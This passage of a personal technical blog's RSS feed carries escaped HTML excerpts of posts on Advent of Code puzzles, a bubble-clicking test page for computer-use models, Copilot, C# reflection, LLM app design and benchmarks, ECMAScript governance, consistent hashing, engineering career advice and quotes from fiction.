&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id="part-one"&gt;Part One&lt;/h2&gt;
&lt;p&gt;The Red-Nosed reactor safety systems can only tolerate levels that are either
gradually increasing or gradually decreasing. So, a report only counts as safe
if both of the following are true:&lt;/p&gt;</description></item><item><title>AoC 2024 Day 01: Historian Hysteria</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/01-historian-hysteria/01-historian-hysteria/</link><pubDate>Wed, 25 Jun 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/01-historian-hysteria/01-historian-hysteria/</guid><description>&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='AoC2024Day01'&gt;
 
 Day 1 - Advent of Code 2024: Historian Hysteria&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 Eric Wastl.
 
 
 
 
 &lt;a href="https://adventofcode.com/2024/day/1" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=adventofcode.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;adventofcode.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Jun 25, 2025.
 
 
&lt;/div&gt;

&lt;h2 id="data"&gt;Data&lt;/h2&gt;
&lt;p&gt;There&amp;rsquo;s just one problem: by holding the two lists up &lt;strong&gt;side by side&lt;/strong&gt;, it
quickly becomes clear that the lists aren&amp;rsquo;t very similar. Maybe you can help The
Historians reconcile their lists?&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3 4
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4 3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;2 5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1 3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3 9
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3 3
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To parse the input:&lt;/p&gt;</description></item><item><title>Popping Bubbles Game for Computer-Use Models</title><link>https://www.curiosities.dev/computer-science/large-language-models/toy-pages/popping-bubbles/</link><pubDate>Wed, 11 Jun 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/toy-pages/popping-bubbles/</guid><description>&lt;style&gt;
 .bubble {
 width: 50px;
 height: 50px;
 border-radius: 50%;
 background: radial-gradient(circle, rgba(173,216,230,1) 0%, rgba(135,206,250,1) 50%, rgba(0,191,255,1) 100%);
 box-shadow: 0 0 10px rgba(0,191,255,0.5), 0 0 20px rgba(0,191,255,0.3);
 cursor: pointer;
 }
&lt;/style&gt;

&lt;section&gt;
 &lt;p&gt;
 This page shows bubbles at random locations on the screen. To get the
 highest score, click on the bubble as soon as it appears. To restart the
 game, refresh the page.
 &lt;/p&gt;
&lt;/section&gt;
&lt;section&gt;
 &lt;p&gt;
 Game starts in &lt;span id="countdownTimer" style="font-size: x-large;"&gt;&lt;/span&gt; seconds.
 Game ends in &lt;span id="gameEndTimer" style="font-size: x-large;"&gt;&lt;/span&gt; seconds
 &lt;/p&gt;
&lt;/section&gt;
&lt;section&gt;
 &lt;p&gt;
 Your score is &lt;span id="scoreCounter" style="font-size: xx-large;"&gt;0&lt;/span&gt;,
 P75 reaction time is &lt;span id="p75ReactionTime" style="font-size: xx-large;"&gt;\(\infty\)&lt;/span&gt;ms.
 &lt;/p&gt;</description></item><item><title>Copilot in VS Code</title><link>https://www.curiosities.dev/computer-science/large-language-models/writing-code-with-llms/</link><pubDate>Sun, 01 Jun 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/writing-code-with-llms/</guid><description>&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;My work is primarily in Microsoft&amp;rsquo;s ecosystem, so learning Copilot usage in VS
Code is pretty important. If not for my own productivity gains, then for having
knowledgeable conversations with coworkers about using LLMs as a SWE.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="copilot-powered-scenarios"&gt;Copilot-Powered Scenarios&lt;/h2&gt;
&lt;h3 id="ai-code-completions"&gt;AI Code Completions&lt;/h3&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;I&amp;rsquo;ve found code completions more distracting than useful. Probably because I
already have an idea of what I want to type, and Copilot&amp;rsquo;s hallucinations slow
me down. I&amp;rsquo;ve turned this off in my IDE.&lt;/p&gt;</description></item><item><title>Attributes and Reflection in C#</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/meta-programming/dotnet-attributes/</link><pubDate>Tue, 08 Apr 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/meta-programming/dotnet-attributes/</guid><description>&lt;p&gt;When you compile code for the runtime, it is converted into common intermediate
language (CIL) and placed inside a portable executable (PE) file along with
metadata generated by the compiler. Attributes allow you to place extra
descriptive information into metadata that can be extracted using runtime
reflection services. &lt;span class="citation-ref"&gt;&lt;a href="#dotnetExtendMetadataWAttrs"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Example of reflection in C#: All types descended from the &lt;code&gt;System.Object&lt;/code&gt; base
class (the root of the type hierarchy in .NET) inherit the &lt;code&gt;GetType()&lt;/code&gt; method.&lt;/p&gt;</description></item><item><title>Building with LLMs</title><link>https://www.curiosities.dev/computer-science/large-language-models/building-with-llms/</link><pubDate>Sun, 06 Apr 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/building-with-llms/</guid><description>&lt;figure&gt;&lt;img src="https://www.curiosities.dev/img/computer-science/llms/emerging-llm-app-stack.png"
 alt="Emerging LLM App Stack. Credits: a16z.com"&gt;&lt;figcaption&gt;
 &lt;p&gt;Emerging LLM App Stack. Credits: a16z.com&lt;/p&gt;
 &lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h2 id="design-pattern-in-context-learning"&gt;Design Pattern: In-Context Learning&lt;/h2&gt;
&lt;p&gt;Betting on the LLM&amp;rsquo;s &lt;strong&gt;context window&lt;/strong&gt; increasing doesn&amp;rsquo;t pay off. As the input
approaches the limits of the context window, inference time and accuracy
degrade. &lt;span class="citation-ref"&gt;&lt;a href="#a16zEmergingArch"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Instead, the typical workflow of in-context learning is:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Data Pre-processing/Embedding.&lt;/strong&gt; Compute and store embeddings of the private
data in a vector database.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prompt Construction/Retrieval.&lt;/strong&gt; On user input, compile a prompt from a
hard-coded template with few-shot examples, information retrieved from
external APIs, and a set of relevant documents retrieved from the vector
database.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Prompt Execution/Inference.&lt;/strong&gt; Submit the compiled prompt to a pre-trained
LLM for inference. Can add logging, caching, and validation at this stage.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The in-context learning reduces the AI problem into a data engineering problem.
&lt;span class="citation-ref"&gt;&lt;a href="#a16zEmergingArch"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>LLM Evals</title><link>https://www.curiosities.dev/computer-science/large-language-models/llm-evals/</link><pubDate>Sun, 06 Apr 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/llm-evals/</guid><description>&lt;h2 id="notable-benchmarks"&gt;Notable Benchmarks&lt;/h2&gt;
&lt;p&gt;Some notable benchmarks in language modeling:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MMLU:&lt;/strong&gt; 57 tasks spanning elementary math, US history, computer science,
law, and more.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;EleutherAI Eval:&lt;/strong&gt; Unified framework to test models via zero/few-shot
settings on 200 tasks from various evals, including MMLU.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HELM:&lt;/strong&gt; Evaluates LLMs across domains; tasks include Q&amp;amp;A, information
retrieval, summarization, text classification, etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AlpacaEval:&lt;/strong&gt; Measures how often a strong LLM (e.g., GPT-4) prefers the
output of one model over a reference model.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#Yan2023"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Governing Bodies</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/governing-bodies/</link><pubDate>Sun, 23 Feb 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/governing-bodies/</guid><description>&lt;p&gt;Who guides the evolution of programming languages?&lt;/p&gt;
&lt;h2 id="javascript"&gt;JavaScript&lt;/h2&gt;
&lt;p&gt;The European Computer Manufacturers Association (ECMA) manages and prioritizes
proposals written by community members to decide what&amp;rsquo;s included in each spec.
When a proposal gets traction, it&amp;rsquo;s up to the browser vendors (e.g., Chromium)
to implement the features. &lt;span class="citation-ref"&gt;&lt;a href="#Banks2020"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#TC39PublishedStandards"&gt;&lt;/a&gt;&lt;/span&gt; contains the published standards, e.g., &lt;span class="citation-ref"&gt;&lt;a href="#ECMA2024"&gt;&lt;/a&gt;&lt;/span&gt;. Conveniently, &lt;span class="citation-ref"&gt;&lt;a href="#ECMA2024"&gt;&lt;/a&gt;&lt;/span&gt; contains a summary of
what each annual release introduced to JavaScript.&lt;/p&gt;
&lt;h2 id="references"&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-book' cited-by-count='' is-main=''&gt;
 &lt;cite id='Banks2020'&gt;
 
 Learning React: Modern Patterns for Developing React Apps&lt;i&gt;.&lt;/i&gt;
 Ch 2. JavaScript for React&lt;i&gt;.&lt;/i&gt;
 &lt;/cite&gt;
 Alex Banks; Eve Porcello.
 
 
 
 
 
 &lt;a href="https://www.oreilly.com/library/view/learning-react-2nd/9781492051718/" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.oreilly.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.oreilly.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 2020.
 &lt;a href="https://openlibrary.org/search?isbn=9781492051725" target="_blank" rel="noopener"&gt;
 ISBN: 9781492051725 &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;&lt;/a&gt;.
 
 
 &lt;i class='fas fa-fw fa-book' aria-hidden="true"&gt;&lt;/i&gt;
 
 
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='TC39PublishedStandards'&gt;
 
 TC39 ECMAScript: Published Standards&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://ecma-international.org/technical-committees/tc39/?tab=published-standards" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=ecma-international.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;ecma-international.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 23, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;

 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='ECMA2024'&gt;
 
 ECMAScript® 2024 Language Specification&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://262.ecma-international.org/15.0/index.html" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=262.ecma-international.org" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;262.ecma-international.org&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Feb 23, 2025.
 
 
&lt;/div&gt;

&lt;/li&gt;
&lt;/ol&gt;</description></item><item><title>Calculators</title><link>https://www.curiosities.dev/computer-science/case-studies/calculator/</link><pubDate>Mon, 17 Feb 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/case-studies/calculator/</guid><description>&lt;h2 id="android-calculator"&gt;Android Calculator&lt;/h2&gt;
&lt;p&gt;Making a precise calculator is not trivial. While \(10^{100} + 1 - 10^{100} =
1\), iOS&amp;rsquo;s calculator gives back \(0\). &lt;span class="citation-ref"&gt;&lt;a href="#Nauseam2025"&gt;&lt;/a&gt;&lt;/span&gt; explores how
Android&amp;rsquo;s calculator gets this right courtesy of &lt;span class="citation-ref"&gt;&lt;a href="#Boehm2020"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;
&lt;p&gt;Real number representations are fundamentally imprecise because we can&amp;rsquo;t squeeze
in infinitely many real numbers into a finite number of bits. Floating-point
representations have a base \(\beta\) (assumed to be even) and a precision
\(p\), e.g., if \(\beta = 10\) and \(p = 3\), then \(0.1\) is
represented as \(1.00 \times 10^{-1}\). IEEE 754, a dominant floating point
representation, requires \(\beta = 2, p = 24\) for single precision and \(p =
53\) for double precision. In IEEE 754, \(0.1\) cannot be represented exactly
as \(1/10\) is not a factor of \(2\); it is approximately
\(1.10011001100110011001101 \times 2^{-4}\). &lt;span class="citation-ref"&gt;&lt;a href="#Goldberg1991"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>UX for LLMs</title><link>https://www.curiosities.dev/computer-science/large-language-models/ux-for-llms/</link><pubDate>Sun, 16 Feb 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/ux-for-llms/</guid><description>&lt;h2 id="tldrawcoms-take-on-an-llm-canvas"&gt;&lt;code&gt;tldraw.com&lt;/code&gt;&amp;rsquo;s Take on an LLM Canvas&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#tlDraw"&gt;&lt;/a&gt;&lt;/span&gt; is a library for creating infinite canvas experiences in
React.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;In UX history, chat has tended to precede canvas. From running computers from
the command prompt to using the screen as a canvas via a mouse. Mobile phones
went from being keypad oriented into a canvas where the finger controls the
touchscreen. Where are the canvases for LLMs? &lt;span class="citation-ref"&gt;&lt;a href="#Wilson2024"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;Multi-modal models, e.g., GPT-4 and Gemini, can take image, video, and
text inputs, and produce output. &lt;span class="citation-ref"&gt;&lt;a href="#WikiMultimodalLearning"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>WWW Watering Hole</title><link>https://www.curiosities.dev/computer-science/www/www-watering-hole/</link><pubDate>Sun, 09 Feb 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/www/www-watering-hole/</guid><description>&lt;p&gt;As the web evolves, where do practitioners congregate and exchange ideas?&lt;/p&gt;
&lt;h2 id="working-groups"&gt;Working Groups&lt;/h2&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#W3C"&gt;&lt;/a&gt;&lt;/span&gt; develops standards and guidelines to help everyone build a web
based on the principles of accessibility, internationalization, privacy and
security.&lt;/p&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#W3C"&gt;&lt;/a&gt;&lt;/span&gt; publishes standards and drafts &lt;span class="citation-ref"&gt;&lt;a href="#W3C-TR"&gt;&lt;/a&gt;&lt;/span&gt;, which are
then implemented by browser vendors, e.g., Chromium, Firefox, and Safari. Topics
of interest: accessibility, browser, CSS, data, DOM, digital publishing,
graphics, HTML, HTTP, internationalization, media, performance, privacy,
protocol, security, web API, web fonts, Web of Things (WoT), and XML.&lt;/p&gt;</description></item><item><title>Leviathan</title><link>https://www.curiosities.dev/fiction/kuroi-leviathan/</link><pubDate>Sun, 12 Jan 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/kuroi-leviathan/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/kuroi-leviathan.jpg');
 }
&lt;/style&gt;

&lt;p&gt;MR. SENDA. Wh-what if the rescue ship doesn&amp;rsquo;t get here by then?! &lt;br/&gt; ROBOT.
Once oxygen runs out&amp;hellip; all the passengers will die. Except for me, of course.
&lt;br/&gt; MR. SENDA. This is how you handle emergencies around here?! &lt;br/&gt; ROBOT.
We are a budget spaceline. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#Leviathan01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;MR. SENDA. Sometimes it&amp;rsquo;s best not to tell the truth! A leader&amp;rsquo;s responsibility
is to try and solve problems while keeping quiet about them. After all, you&amp;rsquo;re
just kids! It would be dangerous to divulge information that could cause
widespread panic. And if, by some horrible twist of fate, help doesn&amp;rsquo;t reach us
before we run out of time&amp;hellip; your classmates would surely be better off not
knowing, don&amp;rsquo;t you think? &lt;span class="citation-ref"&gt;&lt;a href="#Leviathan01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>3 Maps: Locator, Topographical, and Treasure</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/swe-three-maps/</link><pubDate>Sat, 11 Jan 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/swe-three-maps/</guid><description>&lt;p&gt;These maps already exist but are obscured to you. Be alert to facts that affect
your projects or organization. Continually sift information out of the noise
around you, e.g., a shift in corporate priorities could mean a platform you&amp;rsquo;d
considered but backburnered has become an amazing investment. &lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022Ch2"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="the-locator-map-getting-perspective"&gt;The Locator Map: Getting Perspective&lt;/h2&gt;
&lt;p&gt;Time you spend absorbed in any domain increases your depth and understanding,
but it comes with some risks, e.g.&lt;/p&gt;</description></item><item><title>Using LLMs to Enhance My Capabilities</title><link>https://www.curiosities.dev/computer-science/large-language-models/using-llms/</link><pubDate>Tue, 24 Dec 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/large-language-models/using-llms/</guid><description>&lt;h2 id="sample-use-cases"&gt;Sample Use Cases&lt;/h2&gt;



&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;LLMs are increasingly here to stay 
&lt;a href="https://www.curiosities.dev/computer-science/large-language-models/stochastic-parrots/"
 
 
 
 &gt;
 despite the reservations
 
&lt;/a&gt;
. How can I use
them to enhance my capabilities?&lt;/p&gt;
&lt;p&gt;Look out for the Gell-Man amnesia effect. You prompt the LLM on some subject you
know well. You read the response and see the LLM has absolutely no understanding
of either the facts or the issues. In any case, you read with exasperation or
amusement the multiple errors in the response, and then ask it about something
else, and read the response as if it&amp;rsquo;s more accurate than the baloney you just
read. &lt;span class="citation-ref"&gt;&lt;a href="#GellMannAmnesia"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Arcane</title><link>https://www.curiosities.dev/fiction/arcane/</link><pubDate>Fri, 29 Nov 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/arcane/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/arcane-2021.jpg');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='Arcane'&gt;
 
 Arcane&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 
 
 
 
 
 
 &lt;a href="https://www.netflix.com/title/81435684" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.netflix.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.netflix.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Nov 29, 2024.
 
 
 
 
 &lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;&lt;span class="fa fa-star filled-star"&gt;&lt;/span&gt;
 
 
&lt;/div&gt;

&lt;p&gt;VANDER. You know, but you don&amp;rsquo;t know. When people look up to you, you don&amp;rsquo;t get
to be selfish. &lt;br/&gt; VI. I&amp;rsquo;m not&amp;hellip; &lt;br/&gt; VANDER. You say run, they run. You say
swim, they dive in. You say light a fire, they show up with oil. But whatever
happens, it&amp;rsquo;s on you. &lt;br/&gt; &lt;span class="citation-ref"&gt;&lt;a href="#ArcaneS01E01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Consistent Hashing</title><link>https://www.curiosities.dev/computer-science/distributed-systems/consistent-hashing/</link><pubDate>Wed, 27 Nov 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/distributed-systems/consistent-hashing/</guid><description>&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;The term &amp;ldquo;consistent hashing&amp;rdquo; makes me think of hashing without randomization.
Why isn&amp;rsquo;t every hash consistent by definition? For example, a map implementation
would need consistent hashing lest it&amp;rsquo;s inaccurate when searching for stored
values. Or is consistent hashing a tradeoff between collision-resistance and
speed?&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="web-caching"&gt;Web Caching&lt;/h2&gt;
&lt;p&gt;Web caching was the original motivation for consistent hashing. With a web
cache, if a browser requests a URL that is not in the cache, the page is
downloaded from the server, and the result is sent to both the browser and the
cache. On a second request, the page is served from the cache without contacting
the server. &lt;span class="citation-ref"&gt;&lt;a href="#CS168-01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Why Have We Stopped?</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/why-have-we-stopped/</link><pubDate>Fri, 22 Nov 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/why-have-we-stopped/</guid><description>&lt;h2 id="stuck-in-traffic"&gt;Stuck in Traffic&lt;/h2&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Thinking through both sides of these scenarios can help me reduce the times when
I (or my team) is the blocker.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h3 id="blocked-by-another-team"&gt;Blocked By Another Team&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Understand and explain.&lt;/strong&gt; Why is the work is important? What do you want from
them and by when? Give them another chance to indicate feasibility and/or
alternatives. &lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022Ch6"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Make the work easier.&lt;/strong&gt; Can you ask for a smaller subset of features? Can you
help unblock their dependencies. Note that supporting your foray into their code
base might cost them more in support and they might decline your offer. &lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022Ch6"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Poison Ivy (2022-)</title><link>https://www.curiosities.dev/fiction/wilson-poison-ivy-2022/</link><pubDate>Sun, 17 Nov 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/fiction/wilson-poison-ivy-2022/</guid><description>&lt;style&gt;
 body {
 background-image: url('/img/fiction/poison-ivy-virtuous-cycle.avif');
 }
&lt;/style&gt;


 

&lt;div class="citation" citation-icon-class='fas fa-fw fa-globe' cited-by-count='' is-main=''&gt;
 &lt;cite id='PoisonIvy2022'&gt;
 
 Poison Ivy&lt;i&gt;.&lt;/i&gt;
 
 &lt;/cite&gt;
 G. Willow Wilson; Marcio Takara.
 
 
 
 
 
 &lt;a href="https://www.dc.com/graphic-novels/poison-ivy-2022/poison-ivy-vol-1-the-virtuous-cycle" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.dc.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.dc.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 &lt;a href="https://www.hoopladigital.com/comic/publisher/199558152/series/poison-ivy/16560190361" target="_blank" rel="noopener"&gt;
 &lt;img src="https://www.google.com/s2/favicons?domain=www.hoopladigital.com" loading="lazy" aria-hidden="true" width="16" height="16"&gt;
 &lt;i&gt;www.hoopladigital.com&lt;/i&gt; &lt;i class="fas fa-fw fa-external-link-alt" aria-hidden="true"&gt;&lt;/i&gt;
 &lt;/a&gt;.
 
 
 
 
 
 
 &lt;i class='fas fa-fw fa-globe' aria-hidden="true"&gt;&lt;/i&gt;
 
 Accessed Nov 17, 2024.
 
 
&lt;/div&gt;




&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Ivy is usually used to explore the continuum between environmental activism and
eco-terrorism. Contrasts with Swamp Thing who is portrayed as a heroic figure.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;IVY. I don&amp;rsquo;t like killing animals. In fact, I don&amp;rsquo;t like killing anybody.
But here&amp;rsquo;s the thing. Humankind has warped the natural order so
completely that even out food has become an ecological cancer. These
cattle were never meant to be here. The native species that evolved in
harmony with this land starve beneath their hooves. The kindest
thing to do is give them back to the earth. To let them nourish the
creatures that they would otherwise destroy. &lt;span class="citation-ref"&gt;&lt;a href="#PoisonIvy01"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Leading Big Projects</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/leading-big-projects/</link><pubDate>Sat, 16 Nov 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/leading-big-projects/</guid><description>&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;ul&gt;
&lt;li&gt;Create clarity for everyone such that they know what they need to do and how
it fits into the bigger picture.&lt;/li&gt;
&lt;li&gt;Communicate openly. Give team members a stage to be publicly competent.&lt;/li&gt;
&lt;li&gt;Pick up the grunt work that others might not find enjoyable.&lt;/li&gt;
&lt;li&gt;Allocate time for support work, e.g., reviewing user feedback and error
reports.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;p&gt;Usually, the reason a project is difficult isn&amp;rsquo;t that you&amp;rsquo;re pushing the
boundaries of technology, it&amp;rsquo;s that you&amp;rsquo;re dealing with ambiguity: unclear
direction; messy, complicated humans; or legacy systems with behavior you can&amp;rsquo;t
predict. &lt;span class="citation-ref"&gt;&lt;a href="#Reilly2022Ch5"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>Finite Time as a SWE</title><link>https://www.curiosities.dev/computer-science/swe-in-practice/finite-time-swe/</link><pubDate>Sun, 20 Oct 2024 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/swe-in-practice/finite-time-swe/</guid><description>&lt;div class="priors-holder"&gt;
 &lt;div class="priors" title="Priors: my guess before digging deeper"&gt;&lt;p&gt;Deliberately choose what to work on. Part of that is getting priority
communicated by interested shareholders.&lt;/p&gt;
